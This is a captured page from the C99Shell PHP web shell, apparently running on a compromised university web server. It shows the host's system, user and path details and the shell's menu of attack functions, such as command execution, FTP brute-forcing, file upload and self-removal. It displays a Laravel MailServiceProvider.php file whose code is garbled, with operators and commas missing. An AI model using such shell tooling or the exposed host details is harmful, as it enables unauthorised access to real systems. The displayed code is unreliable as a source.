!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/laravel/framework/src/Illuminate/Mail/   drwxr-xr-x
Free 116.5 GB of 200.55 GB (58.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     MailServiceProvider.php (3.03 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Mail;

use 
Swift_Mailer;
use 
Illuminate\Support\ServiceProvider;

class 
MailServiceProvider extends ServiceProvider
{
    
/**
     * Indicates if loading of the provider is deferred.
     *
     * @var bool
     */
    
protected $defer true;

    
/**
     * Register the service provider.
     *
     * @return void
     */
    
public function register()
    {
        
$this->registerSwiftMailer();

        
$this->app->singleton('mailer', function ($app) {
            
// Once we have create the mailer instance, we will set a container instance
            // on the mailer. This allows us to resolve mailer classes via containers
            // for maximum testability on said classes instead of passing Closures.
            
$mailer = new Mailer(
                
$app['view'], $app['swift.mailer'], $app['events']
            );

            
$this->setMailerDependencies($mailer$app);

            
// If a "from" address is set, we will set it on the mailer so that all mail
            // messages sent by the applications will utilize the same "from" address
            // on each one, which makes the developer's life a lot more convenient.
            
$from $app['config']['mail.from'];

            if (
is_array($from) && isset($from['address'])) {
                
$mailer->alwaysFrom($from['address'], $from['name']);
            }

            
$to $app['config']['mail.to'];

            if (
is_array($to) && isset($to['address'])) {
                
$mailer->alwaysTo($to['address'], $to['name']);
            }

            return 
$mailer;
        });
    }

    
/**
     * Set a few dependencies on the mailer instance.
     *
     * @param  \Illuminate\Mail\Mailer  $mailer
     * @param  \Illuminate\Foundation\Application  $app
     * @return void
     */
    
protected function setMailerDependencies($mailer$app)
    {
        
$mailer->setContainer($app);

        if (
$app->bound('queue')) {
            
$mailer->setQueue($app['queue.connection']);
        }
    }

    
/**
     * Register the Swift Mailer instance.
     *
     * @return void
     */
    
public function registerSwiftMailer()
    {
        
$this->registerSwiftTransport();

        
// Once we have the transporter registered, we will register the actual Swift
        // mailer instance, passing in the transport instances, which allows us to
        // override this transporter instances during app start-up if necessary.
        
$this->app['swift.mailer'] = $this->app->share(function ($app) {
            return new 
Swift_Mailer($app['swift.transport']->driver());
        });
    }

    
/**
     * Register the Swift Transport instance.
     *
     * @return void
     */
    
protected function registerSwiftTransport()
    {
        
$this->app['swift.transport'] = $this->app->share(function ($app) {
            return new 
TransportManager($app);
        });
    }

    
/**
     * Get the services provided by the provider.
     *
     * @return array
     */
    
public function provides()
    {
        return [
'mailer''swift.mailer''swift.transport'];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0106 ]--